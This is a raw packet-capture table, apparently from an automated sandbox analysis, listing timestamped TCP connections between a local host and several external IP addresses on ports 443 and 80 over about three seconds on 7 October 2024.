Oct 7, 2024 18:01:01.686649084 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.688775063 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.689007998 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.689091921 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.689091921 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.689165115 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.689178944 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.689999104 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.690098047 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.690193892 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.690316916 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.690336943 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.691423893 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.691709995 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.691731930 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.691806078 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.691957951 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.691970110 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.692028999 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692068100 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.692122936 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692250967 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692261934 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.692497969 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.692595005 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692595005 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692626953 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.692635059 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.694802046 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.694830894 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.694902897 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.695055962 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.695066929 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.766453981 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.766622066 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.766689062 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.766783953 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.766807079 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.766817093 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.766823053 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.769542933 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.769613028 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.769695997 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.769828081 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.769859076 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.178654909 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.178739071 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.182636976 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.182672024 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.182988882 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.231587887 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.244509935 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.244585991 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.244663954 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.340357065 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.340912104 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.340936899 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.341442108 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.341451883 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.350066900 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.350107908 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.350817919 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.350842953 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.350897074 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.350976944 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.350982904 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.351747990 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.351830959 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.352967024 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.352967024 CEST	49972	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.352989912 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.353003025 CEST	443	49972	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.391716957 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.392194986 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.392230988 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.392652988 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.392663002 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.396147966 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.396594048 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.396660089 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.397072077 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.397087097 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.398921967 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.399230957 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.399264097 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.399617910 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.399631023 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.404426098 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.404792070 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.404818058 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.405201912 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.405214071 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.412560940 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.412595034 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.412909985 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.412981033 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.412987947 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.446444988 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.446510077 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.446700096 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.446907997 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.446930885 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.446942091 CEST	49975	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.446948051 CEST	443	49975	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.449785948 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.449831009 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.449902058 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.450037003 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.450047970 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.492643118 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.492714882 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.492940903 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.493104935 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.493134022 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.493149042 CEST	49974	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.493158102 CEST	443	49974	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.494220972 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.494318962 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.494381905 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.494467974 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.494467974 CEST	49977	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.494508982 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.494533062 CEST	443	49977	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.495395899 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.495538950 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.495587111 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.495589018 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.495637894 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.495834112 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.495846033 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.495866060 CEST	49973	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.495871067 CEST	443	49973	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.496536016 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.496591091 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.497292995 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.497292995 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.497328043 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.497392893 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.497400999 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.497512102 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.497621059 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.497632027 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.498033047 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.498080969 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.498137951 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.498241901 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.498256922 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.500842094 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.500861883 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.500915051 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.500942945 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.501084089 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.501100063 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.501108885 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.501245022 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.501280069 CEST	443	49976	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.501315117 CEST	49976	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.503007889 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.503029108 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.503091097 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.503206968 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:02.503218889 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:02.891452074 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.891664028 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.893138885 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.893148899 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.893397093 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:02.894874096 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.894916058 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:02.894964933 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:03.318473101 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.319672108 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.319689989 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.320211887 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.320218086 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.320430040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:01:03.320612907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:01:03.322643042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:01:03.324621916 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.325476885 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.326750040 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.328861952 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.329293966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:01:03.354495049 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:03.354592085 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:03.354742050 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:03.356091976 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.356112003 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.356551886 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.356558084 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.372261047 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.372431040 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.372433901 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.430264950 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.430284977 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.433509111 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.433532953 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.433613062 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.433626890 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.433876038 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.435436964 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.435455084 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.435456038 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.440361977 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.440370083 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.440773964 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.440778017 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.441015959 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.441035986 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.446013927 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.446022987 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.450980902 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:03.450980902 CEST	49979	443	192.168.2.5	188.114.97.3
Oct 7, 2024 18:01:03.451001883 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:03.451011896 CEST	443	49979	188.114.97.3	192.168.2.5
Oct 7, 2024 18:01:03.454121113 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.454152107 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.454216003 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.454233885 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.454284906 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.456517935 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.456532955 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.456542969 CEST	49981	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.456547976 CEST	443	49981	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.492223024 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.492259979 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.492273092 CEST	49980	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.492280006 CEST	443	49980	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.533369064 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.533440113 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.533510923 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.533512115 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.533540010 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.534312963 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.534362078 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.539072990 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.539135933 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.539232016 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.539243937 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.539340973 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.543456078 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.573009968 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.573044062 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.573059082 CEST	49984	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.573067904 CEST	443	49984	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.582298994 CEST	49983	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.582315922 CEST	443	49983	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.595618963 CEST	49982	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.595638037 CEST	443	49982	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.668142080 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.668188095 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.668268919 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.677198887 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.677213907 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.683207035 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.683224916 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.683356047 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.683608055 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.683619976 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.685884953 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.685919046 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.686008930 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.686204910 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.686237097 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.686316013 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.687150955 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.687164068 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.691517115 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.691549063 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.691605091 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.707674026 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.707689047 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.711685896 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:03.711705923 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:03.963229895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:01:03.963371038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:01:04.301743031 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.313178062 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.345465899 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.349469900 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.356558084 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.356560946 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.362309933 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.388215065 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.403441906 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.403441906 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.627901077 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.627929926 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.628460884 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.628467083 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.628981113 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.629074097 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.629354000 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.629369020 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.629566908 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.629600048 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.630135059 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.630141020 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.630486965 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.630522966 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.631072998 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.631089926 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.631306887 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.631325960 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.631685972 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.631690979 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.671694994 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:04.905080080 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.905117989 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906393051 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906419039 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906471968 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.906491041 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906543016 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.906639099 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.906645060 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906663895 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.906821012 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906857014 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.906900883 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907284975 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907335997 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907342911 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907442093 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907541990 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907542944 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907541990 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907592058 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907615900 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907632113 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907660961 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907668114 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907679081 CEST	443	49989	13.107.246.64	192.168.2.5
